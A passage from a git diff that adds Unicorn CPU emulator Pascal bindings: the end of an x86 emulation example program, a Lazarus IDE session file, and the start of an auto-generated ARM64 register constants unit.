UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + // intercept invalid memory events + uc_hook_add(uc, trace3, UC_HOOK_MEM_READ_UNMAPPED or UC_HOOK_MEM_WRITE_UNMAPPED, @HookMemInvalid, nil,1,0,[]); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_MEM_WRITE) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + + // read from memory + err := uc_mem_read_(uc, $aaaaaaaa, @tmp, SizeOf(tmp)); + if (err = UC_ERR_OK) then + WriteLn(Format('>>> Read 4 bytes from [0x%x] = 0x%x', [$aaaaaaaa, tmp])) + else + WriteLn(Format('>>> Failed to read 4 bytes from [0x%x]', [$aaaaaaaa])); + + err := uc_mem_read_(uc, $ffffffaa, @tmp, SizeOf(tmp)); + if (err = UC_ERR_OK) then + WriteLn(Format('>>> Read 4 bytes from [0x%x] = 0x%x', [$ffffffaa, tmp])) + else + WriteLn(Format('>>> Failed to read 4 bytes from [0x%x]', [$ffffffaa])); + + uc_close(uc); +end; + +procedure TestI386JumpInvalid; +var + uc: uc_engine; + err: uc_err; + trace1, trace2: uc_hook; + r_ecx, r_edx: integer; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + WriteLn('==================================='); + WriteLn('Emulate i386 code that jumps to invalid memory'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_JMP_INVALID, SizeOf(X86_CODE32_JMP_INVALID) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + uc_close(uc); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_JMP_INVALID) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + + uc_close(uc); +end; + +procedure TestI386Inout; +var + uc: uc_engine; + err: uc_err; + trace1, trace2, trace3, trace4: uc_hook; + r_ecx, r_edx: integer; +begin + r_ecx := $1234; // ECX register + r_edx := $7890; // EDX register + WriteLn('==================================='); + WriteLn('Emulate i386 code with IN/OUT instructions'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_INOUT, SizeOf(X86_CODE32_INOUT) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_write(uc, UC_X86_REG_EDX, @r_edx); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode, nil, 1, 0,[]); + + // uc IN instruction + uc_hook_add(uc, trace3, UC_HOOK_INSN, @HookIn, nil, 1,0,[UC_X86_INS_IN]); + // uc OUT instruction + uc_hook_add(uc, trace4, UC_HOOK_INSN, @HookOut, nil, 1,0,[UC_X86_INS_OUT]); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE32_INOUT) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_ECX, @r_ecx); + uc_reg_read(uc, UC_X86_REG_EDX, @r_edx); + WriteLn(Format('>>> ECX = 0x%x', [r_ecx])); + WriteLn(Format('>>> EDX = 0x%x', [r_edx])); + + uc_close(uc); +end; + +procedure test_i386_context_save(); +var + uc: uc_engine; + context : uc_context; + err: uc_err; + r_eax : integer; +begin + r_eax := 1; // EAX register + WriteLn('==================================='); + WriteLn('Emulate i386 code - Save/restore CPU context in opaque blob'); + + // Initialize emulator in X86-32bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_32, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + uc_mem_map(uc,ADDRESS,8 * 1024 , UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE32_INC, SizeOf(X86_CODE32_INC) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + uc_close(uc); + Exit; + end; + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, @r_eax); + + // emulate machine code in infinite time + writeln('>>> Running emulation for the first time'); + err := uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32_INC) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + Writeln('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_EAX, @r_eax); + WriteLn(Format('>>> EAX = 0x%x', [r_eax])); + + Writeln('>>> Saving CPU context'); + + err := uc_context_alloc(uc,context); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_context_alloc() with error returned %u : %s', [err, uc_strerror(err)])); + exit; + end; + + err := uc_context_save(uc, context); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_context_save() with error returned %u : %s', [err, uc_strerror(err)])); + exit; + end; + + Writeln('>>> Running emulation for the second time'); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + sizeof(X86_CODE32_INC) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + Writeln('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_EAX, @r_eax); + WriteLn(Format('>>> EAX = 0x%x', [r_eax])); + + err := uc_context_restore(uc, context); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_context_restore() with error returned %u: %s', [err, uc_strerror(err)])); + exit; + end; + + Writeln('>>> CPU context restored. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_EAX, @r_eax); + WriteLn(Format('>>> EAX = 0x%x', [r_eax])); + + err := uc_free(context); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_free() with error returned %u: %s', [err, uc_strerror(err)])); + exit; + end; + + uc_close(uc); +end; + +procedure TestX86_64; +var + uc: uc_engine; + err: uc_err; + trace1, trace2, trace3, trace4: uc_hook; + rax, rbx, rcx, rdx, rsi, rdi, r8, r9, r10, r11, r12, r13, r14, r15, rsp: UInt64; +begin + rax := $71f3029efd49d41d; + rbx := $d87b45277f133ddb; + rcx := $ab40d1ffd8afc461; + rdx := $919317b4a733f01; + rsi := $4c24e753a17ea358; + rdi := $e509a57d2571ce96; + r8 := $ea5b108cc2b9ab1f; + r9 := $19ec097c8eb618c1; + r10 := $ec45774f00c5f682; + r11 := $e17e9dbec8c074aa; + r12 := $80f86a8dc0f6d457; + r13 := $48288ca5671c5492; + r14 := $595f72f6e4017f6e; + r15 := $1efd97aea331cccc; + + rsp := ADDRESS + $200000; + + WriteLn('Emulate x86_64 code'); + + // Initialize emulator in X86-64bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_64, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE64, SizeOf(X86_CODE64) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_RSP, @rsp); + + uc_reg_write(uc, UC_X86_REG_RAX, @rax); + uc_reg_write(uc, UC_X86_REG_RBX, @rbx); + uc_reg_write(uc, UC_X86_REG_RCX, @rcx); + uc_reg_write(uc, UC_X86_REG_RDX, @rdx); + uc_reg_write(uc, UC_X86_REG_RSI, @rsi); + uc_reg_write(uc, UC_X86_REG_RDI, @rdi); + uc_reg_write(uc, UC_X86_REG_R8, @r8); + uc_reg_write(uc, UC_X86_REG_R9, @r9); + uc_reg_write(uc, UC_X86_REG_R10, @r10); + uc_reg_write(uc, UC_X86_REG_R11, @r11); + uc_reg_write(uc, UC_X86_REG_R12, @r12); + uc_reg_write(uc, UC_X86_REG_R13, @r13); + uc_reg_write(uc, UC_X86_REG_R14, @r14); + uc_reg_write(uc, UC_X86_REG_R15, @r15); + + // tracing all basic blocks with customized callback + uc_hook_add(uc, trace1, UC_HOOK_BLOCK, @HookBlock, nil, 1, 0,[]); + + // tracing all instruction by having @begin > @end + uc_hook_add(uc, trace2, UC_HOOK_CODE, @HookCode64, nil, ADDRESS, ADDRESS + 20,[]); + + // tracing all memory WRITE access (with @begin > @end) + uc_hook_add(uc, trace3, UC_HOOK_MEM_WRITE, @HookMem64, nil, 1, 0,[]); + // tracing all memory READ access (with @begin > @end) + uc_hook_add(uc, trace4, UC_HOOK_MEM_READ, @HookMem64, nil, 1, 0,[]); + + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE64) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_RAX, @rax); + uc_reg_read(uc, UC_X86_REG_RBX, @rbx); + uc_reg_read(uc, UC_X86_REG_RCX, @rcx); + uc_reg_read(uc, UC_X86_REG_RDX, @rdx); + uc_reg_read(uc, UC_X86_REG_RSI, @rsi); + uc_reg_read(uc, UC_X86_REG_RDI, @rdi); + uc_reg_read(uc, UC_X86_REG_R8, @r8); + uc_reg_read(uc, UC_X86_REG_R9, @r9); + uc_reg_read(uc, UC_X86_REG_R10, @r10); + uc_reg_read(uc, UC_X86_REG_R11, @r11); + uc_reg_read(uc, UC_X86_REG_R12, @r12); + uc_reg_read(uc, UC_X86_REG_R13, @r13); + uc_reg_read(uc, UC_X86_REG_R14, @r14); + uc_reg_read(uc, UC_X86_REG_R15, @r15); + + WriteLn(Format('>>> RAX = 0x%.16x', [rax])); + WriteLn(Format('>>> RBX = 0x%.16x', [rbx])); + WriteLn(Format('>>> RCX = 0x%.16x', [rcx])); + WriteLn(Format('>>> RDX = 0x%.16x', [rdx])); + WriteLn(Format('>>> RSI = 0x%.16x', [rsi])); + WriteLn(Format('>>> RDI = 0x%.16x', [rdi])); + WriteLn(Format('>>> R8 = 0x%.16x', [r8])); + WriteLn(Format('>>> R9 = 0x%.16x', [r9])); + WriteLn(Format('>>> R10 = 0x%.16x', [r10])); + WriteLn(Format('>>> R11 = 0x%.16x', [r11])); + WriteLn(Format('>>> R12 = 0x%.16x', [r12])); + WriteLn(Format('>>> R13 = 0x%.16x', [r13])); + WriteLn(Format('>>> R14 = 0x%.16x', [r14])); + WriteLn(Format('>>> R15 = 0x%.16x', [r15])); + + uc_close(uc); +end; + +procedure TestX86_64Syscall; +var + uc: uc_engine; + err: uc_err; + trace1: uc_hook; + rax: UInt64; +begin + rax := $100; + WriteLn('==================================='); + WriteLn('Emulate x86_64 code with "syscall" instruction'); + + // Initialize emulator in X86-64bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_64, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 2MB memory for this emulation + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, ADDRESS, @X86_CODE64_SYSCALL, SizeOf(X86_CODE64_SYSCALL) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // hook interrupts for syscall + uc_hook_add(uc, trace1, UC_HOOK_INSN, @HookSyscall, nil, 1 , 0 , [UC_X86_INS_SYSCALL]); + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_RAX, @rax); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err := uc_emu_start(uc, ADDRESS, ADDRESS + SizeOf(X86_CODE64_SYSCALL) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + uc_reg_read(uc, UC_X86_REG_RAX, @rax); + WriteLn(Format('>>> RAX = 0x%x', [rax])); + + uc_close(uc); +end; + +procedure TestX86_16; +var + uc: uc_engine; + err: uc_err; + tmp: Word; + eax, ebx, esi: UInt32; +begin + eax := 7; + ebx := 5; + esi := 6; + + WriteLn('Emulate x86 16-bit code'); + + // Initialize emulator in X86-16bit mode + err := uc_open(UC_ARCH_X86, UC_MODE_16, uc); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_open() with error returned: %u', [err])); + Exit; + end; + + // map 8KB memory for this emulation + uc_mem_map(uc, 0, 8 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write_(uc, 0, @X86_CODE16, SizeOf(X86_CODE16) - 1) <> UC_ERR_OK) then begin + WriteLn('Failed to write emulation code to memory, quit!'); + Exit; + end; + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, @eax); + uc_reg_write(uc, UC_X86_REG_EBX, @ebx); + uc_reg_write(uc, UC_X86_REG_ESI, @esi); + + // emulate machine code in infinite time (last param = 0), or when + // finishing all the code. + err := uc_emu_start(uc, 0, SizeOf(X86_CODE16) - 1, 0, 0); + if (err <> UC_ERR_OK) then begin + WriteLn(Format('Failed on uc_emu_start() with error returned %u: %s', [err, uc_strerror(err)])); + end; + + // now print out some registers + WriteLn('>>> Emulation done. Below is the CPU context'); + + err := uc_mem_read_(uc, 11, @tmp, 1); + if (err = UC_ERR_OK) then + WriteLn(Format('>>> Read 1 bytes from [0x%x] = 0x%x', [11, tmp])) + else + WriteLn(Format('>>> Failed to read 1 bytes from [0x%x]', [11])); + + uc_close(uc); +end; + +begin + if ParamCount > 0 then begin + if (ParamStr(1) = '-32') then begin + TestI386; + test_i386_map_ptr; + test_i386_context_save; + TestI386Inout; + TestI386Jump; + TestI386Loop; + TestI386InvalidMemRead; + TestI386InvalidMemWrite; + TestI386JumpInvalid; + end; + + if (ParamStr(1) = '-64') then begin + TestX86_64; + TestX86_64Syscall; + end; + + if (ParamStr(1) = '-16') then begin + TestX86_16; + end; + + end else + WriteLn(#10'Syntax: SampleX86 <-16|-32|-64>'#10); +end. diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lps b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lps new file mode 100644 index 0000000..8ea924e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/examples/x86.lps @@ -0,0 +1,197 @@ +<?xml version="1.0" encoding="UTF-8"?> +<CONFIG> + <ProjectSession> + <Version Value="10"/> + <BuildModes Active="Debug"/> + <Units Count="10"> + <Unit0> + <Filename Value="x86.lpr"/> + <IsPartOfProject Value="True"/> + <TopLine Value="8"/> + <CursorPos X="34" Y="4"/> + <UsageCount Value="21"/> + <Loaded Value="True"/> + </Unit0> + <Unit1> + <Filename Value="../unicorn/UnicornConst.pas"/> + <EditorIndex Value="-1"/> + <CursorPos X="25" Y="2"/> + <UsageCount Value="10"/> + </Unit1> + <Unit2> + <Filename Value="../unicorn/Unicorn_dyn.pas"/> + <IsVisibleTab Value="True"/> + <EditorIndex Value="1"/> + <CursorPos X="80" Y="3"/> + <UsageCount Value="10"/> + <Loaded Value="True"/> + </Unit2> + <Unit3> + <Filename Value="/usr/local/share/fpcsrc/rtl/objpas/sysutils/sysstrh.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="71"/> + <CursorPos X="25" Y="77"/> + <UsageCount Value="10"/> + </Unit3> + <Unit4> + <Filename Value="/usr/local/share/fpcsrc/rtl/inc/systemh.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="331"/> + <CursorPos X="3" Y="339"/> + <UsageCount Value="10"/> + </Unit4> + <Unit5> + <Filename Value="/usr/local/share/fpcsrc/packages/rtl-console/src/unix/crt.pp"/> + <UnitName Value="Crt"/> + <EditorIndex Value="-1"/> + <TopLine Value="1104"/> + <CursorPos X="7" Y="534"/> + <UsageCount Value="10"/> + </Unit5> + <Unit6> + <Filename Value="/usr/local/share/fpcsrc/packages/rtl-console/src/inc/crth.inc"/> + <EditorIndex Value="-1"/> + <TopLine Value="31"/> + <CursorPos X="11" Y="44"/> + <UsageCount Value="10"/> + </Unit6> + <Unit7> + <Filename Value="/usr/local/share/fpcsrc/rtl/darwin/termio.pp"/> + <EditorIndex Value="-1"/> + <TopLine Value="24"/> + <UsageCount Value="10"/> + </Unit7> + <Unit8> + <Filename Value="../unicorn/X86Const.pas"/> + <EditorIndex Value="-1"/> + <CursorPos X="57"/> + <UsageCount Value="10"/> + </Unit8> + <Unit9> + <Filename Value="/usr/local/share/fpcsrc/rtl/inc/dynlibs.pas"/> + <EditorIndex Value="-1"/> + <TopLine Value="46"/> + <CursorPos X="25" Y="53"/> + <UsageCount Value="10"/> + </Unit9> + </Units> + <JumpHistory Count="26" HistoryIndex="25"> + <Position1> + <Filename Value="x86.lpr"/> + <Caret Line="332" TopLine="323"/> + </Position1> + <Position2> + <Filename Value="x86.lpr"/> + <Caret Line="333" TopLine="323"/> + </Position2> + <Position3> + <Filename Value="x86.lpr"/> + <Caret Line="338" TopLine="331"/> + </Position3> + <Position4> + <Filename Value="x86.lpr"/> + <Caret Line="340" Column="42" TopLine="330"/> + </Position4> + <Position5> + <Filename Value="x86.lpr"/> + <Caret Line="339" Column="29" TopLine="335"/> + </Position5> + <Position6> + <Filename Value="x86.lpr"/> + <Caret Line="684" Column="42" TopLine="507"/> + </Position6> + <Position7> + <Filename Value="x86.lpr"/> + <Caret Line="51" Column="73" TopLine="43"/> + </Position7> + <Position8> + <Filename Value="x86.lpr"/> + <Caret Line="32" Column="16" TopLine="27"/> + </Position8> + <Position9> + <Filename Value="x86.lpr"/> + <Caret Line="895" Column="18" TopLine="889"/> + </Position9> + <Position10> + <Filename Value="x86.lpr"/> + <Caret Line="894" Column="6" TopLine="889"/> + </Position10> + <Position11> + <Filename Value="x86.lpr"/> + <Caret Line="52" Column="73" TopLine="44"/> + </Position11> + <Position12> + <Filename Value="x86.lpr"/> + <Caret Line="279" TopLine="268"/> + </Position12> + <Position13> + <Filename Value="x86.lpr"/> + <Caret Line="280" Column="26" TopLine="272"/> + </Position13> + <Position14> + <Filename Value="x86.lpr"/> + <Caret Line="898" Column="16" TopLine="883"/> + </Position14> + <Position15> + <Filename Value="x86.lpr"/> + <Caret Line="889" Column="40" TopLine="879"/> + </Position15> + <Position16> + <Filename Value="x86.lpr"/> + <Caret Line="447" Column="44" TopLine="440"/> + </Position16> + <Position17> + <Filename Value="x86.lpr"/> + <Caret Line="894" Column="12" TopLine="887"/> + </Position17> + <Position18> + <Filename Value="x86.lpr"/> + <Caret Line="255" Column="28" TopLine="247"/> + </Position18> + <Position19> + <Filename Value="x86.lpr"/> + <Caret Line="984" Column="8" TopLine="973"/> + </Position19> + <Position20> + <Filename Value="x86.lpr"/> + <Caret Line="987" Column="9" TopLine="976"/> + </Position20> + <Position21> + <Filename Value="x86.lpr"/> + <Caret Line="22" Column="15" TopLine="17"/> + </Position21> + <Position22> + <Filename Value="../unicorn/Unicorn_dyn.pas"/> + <Caret Line="128" Column="37" TopLine="119"/> + </Position22> + <Position23> + <Filename Value="../unicorn/Unicorn_dyn.pas"/> + <Caret Line="600" TopLine="597"/> + </Position23> + <Position24> + <Filename Value="../unicorn/Unicorn_dyn.pas"/> + <Caret Line="9" Column="3" TopLine="8"/> + </Position24> + <Position25> + <Filename Value="../unicorn/Unicorn_dyn.pas"/> + <Caret Line="640" Column="15" TopLine="632"/> + </Position25> + <Position26> + <Filename Value="x86.lpr"/> + <Caret Line="989" Column="132" TopLine="6"/> + </Position26> + </JumpHistory> + </ProjectSession> + <Debugging> + <Watches Count="2"> + <Item1> + <Expression Value="mem"/> + <DisplayStyle Value="wdfPointer"/> + </Item1> + <Item2> + <Expression Value="X86_CODE32"/> + <DisplayStyle Value="wdfMemDump"/> + </Item2> + </Watches> + </Debugging> +</CONFIG> diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Arm64Const.pas b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Arm64Const.pas new file mode 100644 index 0000000..d348039 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/pascal/unicorn/Arm64Const.pas @@ -0,0 +1,319 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +unit Arm64Const; + +interface + +const +// ARM64 registers + + UC_ARM64_REG_INVALID = 0; + UC_ARM64_REG_X29 = 1; + UC_ARM64_REG_X30 = 2; + UC_ARM64_REG_NZCV = 3; + UC_ARM64_REG_SP = 4; + UC_ARM64_REG_WSP = 5; + UC_ARM64_REG_WZR = 6; + UC_ARM64_REG_XZR = 7; + UC_ARM64_REG_B0 = 8; + UC_ARM64_REG_B1 = 9; + UC_ARM64_REG_B2 = 10; + UC_ARM64_REG_B3 = 11; + UC_ARM64_REG_B4 = 12; + UC_ARM64_REG_B5 = 13; + UC_ARM64_REG_B6 = 14; + UC_ARM64_REG_B7 = 15; + UC_ARM64_REG_B8 = 16; + UC_ARM64_REG_B9 = 17; + UC_ARM64_REG_B10 = 18; + UC_ARM64_REG_B11 = 19; + UC_ARM64_REG_B12 = 20; + UC_ARM64_REG_B13 = 21; + UC_ARM64_REG_B14 = 22; + UC_ARM64_REG_B15 = 23; + UC_ARM64_REG_B16 = 24; + UC_ARM64_REG_B17 = 25; + UC_ARM64_REG_B18 = 26; + UC_ARM64_REG_B19 = 27; + UC_ARM64_REG_B20 = 28; + UC_ARM64_REG_B21 = 29; + UC_ARM64_REG_B22 = 30; + UC_ARM64_REG_B23 = 31; + UC_ARM64_REG_B24 = 32; + UC_ARM64_REG_B25 = 33; + UC_ARM64_REG_B26 = 34; + UC_ARM64_REG_B27 = 35; + UC_ARM64_REG_B28 = 36; + UC_ARM64_REG_B29 = 37; + UC_ARM64_REG_B30 = 38; + UC_ARM64_REG_B31 = 39; + UC_ARM64_REG_D0 = 40; + UC_ARM64_REG_D1 = 41; + UC_ARM64_REG_D2 = 42; + UC_ARM64_REG_D3 = 43; + UC_ARM64_REG_D4 = 44; + UC_ARM64_REG_D5 = 45; + UC_ARM64_REG_D6 = 46; + UC_ARM64_REG_D7 = 47; + UC_ARM64_REG_D8 = 48; + UC_ARM64_REG_D9 = 49; + UC_ARM64_REG_D10 = 50; + UC_ARM64_REG_D11 = 51; + UC_ARM64_REG_D12 = 52; + UC_ARM64_REG_D13 = 53; + UC_ARM64_REG_D14 = 54; + UC_ARM64_REG_D15 = 55; + UC_ARM64_REG_D16 = 56; + UC_ARM64_REG_D17 = 57; + UC_ARM64_REG_D18 = 58; + UC_ARM64_REG_D19 = 59; + UC_ARM64_REG_D20 = 60; + UC_ARM64_REG_D21 = 61; + UC_ARM64_REG_D22 = 62; + UC_ARM64_REG_D23 = 63; + UC_ARM64_REG_D24 = 64; + UC_ARM64_REG_D25 = 65; + UC_ARM64_REG_D26 = 66; + UC_ARM64_REG_D27 = 67; + UC_ARM64_REG_D28 = 68; + UC_ARM64_REG_D29 = 69; + UC_ARM64_REG_D30 = 70; + UC_ARM64_REG_D31 = 71; + UC_ARM64_REG_H0 = 72; + UC_ARM64_REG_H1 = 73; + UC_ARM64_REG_H2 = 74; + UC_ARM64_REG_H3 = 75; + UC_ARM64_REG_H4 = 76; + UC_ARM64_REG_H5 = 77; + UC_ARM64_REG_H6 = 78; + UC_ARM64_REG_H7 = 79; + UC_ARM64_REG_H8 = 80; + UC_ARM64_REG_H9 = 81; + UC_ARM64_REG_H10 = 82; + UC_ARM64_REG_H11 = 83; + UC_ARM64_REG_H12 = 84; + UC_ARM64_REG_H13 = 85; + UC_ARM64_REG_H14 = 86; + UC_ARM64_REG_H15 = 87; + UC_ARM64_REG_H16 = 88; + UC_ARM64_REG_H17 = 89; + UC_ARM64_REG_H18 = 90; + UC_ARM64_REG_H19 = 91; + UC_ARM64_REG_H20 = 92; + UC_ARM64_REG_H21 = 93; + UC_ARM64_REG_H22 = 94; + UC_ARM64_REG_H23 = 95; + UC_ARM64_REG_H24 = 96; + UC_ARM64_REG_H25 = 97; + UC_ARM64_REG_H26 = 98; + UC_ARM64_REG_H27 = 99; + UC_ARM64_REG_H28 = 100; + UC_ARM64_REG_H29 = 101; + UC_ARM64_REG_H30 = 102; + UC_ARM64_REG_H31 = 103; + UC_ARM64_REG_Q0 = 104; + UC_ARM64_REG_Q1 = 105; + UC_ARM64_REG_Q2 = 106; + UC_ARM64_REG_Q3 = 107; + UC_ARM64_REG_Q4 = 108; + UC_ARM64_REG_Q5 = 109; + UC_ARM64_REG_Q6 = 110; + UC_ARM64_REG_Q7 = 111; + UC_ARM64_REG_Q8 = 112; + UC_ARM64_REG_Q9 = 113; + UC_ARM64_REG_Q10 = 114; + UC_ARM64_REG_Q11 = 115; + UC_ARM64_REG_Q12 = 116; + UC_ARM64_REG_Q13 = 117; + UC_ARM64_REG_Q14 = 118; + UC_ARM64_REG_Q15 = 119; + UC_ARM64_REG_Q16 = 120; + UC_ARM64_REG_Q17 = 121; + UC_ARM64_REG_Q18 = 122; + UC_ARM64_REG_Q19 = 123; + UC_ARM64_REG_Q20 = 124; + UC_ARM64_REG_Q21 = 125; + UC_ARM64_REG_Q22 = 126; + UC_ARM64_REG_Q23 = 127; + UC_ARM64_REG_Q24 = 128; + UC_ARM64_REG_Q25 = 129; + UC_ARM64_REG_Q26 = 130; + UC_ARM64_REG_Q27 = 131; + UC_ARM64_REG_Q28 = 132; + UC_ARM64_REG_Q29 = 133; + UC_ARM64_REG_Q30 = 134; + UC_ARM64_REG_Q31 = 135; + UC_ARM64_REG_S0 = 136; + UC_ARM64_REG_S1 = 137; + UC_ARM64_REG_S2 = 138; + UC_ARM64_REG_S3 = 139; + UC_ARM64_REG_S4 = 140; + UC_ARM64_REG_S5 = 141; + UC_ARM64_REG_S6 = 142; + UC_ARM64_REG_S7 = 143; + UC_ARM64_REG_S8 = 144; + UC_ARM64_REG_S9 = 145; + UC_ARM64_REG_S10 = 146; + UC_ARM64_REG_S11 = 147; + UC_ARM64_REG_S12 = 148; + UC_ARM64_REG_S13 = 149; + UC_ARM64_REG_S14 = 150; + UC_ARM64_REG_S15 = 151; + UC_ARM64_REG_S16 = 152; + UC_ARM64_REG_S17 = 153; + UC_ARM64_REG_S18 = 154; + UC_ARM64_REG_S19 = 155; + UC_ARM64_REG_S20 = 156; + UC_ARM64_REG_S21 = 157; + UC_ARM64_REG_S22 = 158; + UC_ARM64_REG_S23 = 159; + UC_ARM64_REG_S24 = 160; + UC_ARM64_REG_S25 = 161; + UC_ARM64_REG_S26 = 162; + UC_ARM64_REG_S27 = 163; + UC_ARM64_REG_S28 = 164; + UC_ARM64_REG_S29 = 165; + UC_ARM64_REG_S30 = 166; + UC_ARM64_REG_S31 = 167; + UC_ARM64_REG_W0 = 168; + UC_ARM64_REG_W1 = 169; + UC_ARM64_REG_W2 = 170; + UC_ARM64_REG_W3 = 171; + UC_ARM64_REG_W4 = 172; + UC_ARM64_REG_W5 = 173; + UC_ARM64_REG_W6 = 174; + UC_ARM64_REG_W7 = 175; + UC_ARM64_REG_W8 = 176; + UC_ARM64_REG_W9 = 177; + UC_ARM64_REG_W10 = 178; + UC_ARM64_REG_W11 = 179; + UC_ARM64_REG_W12 = 180; + 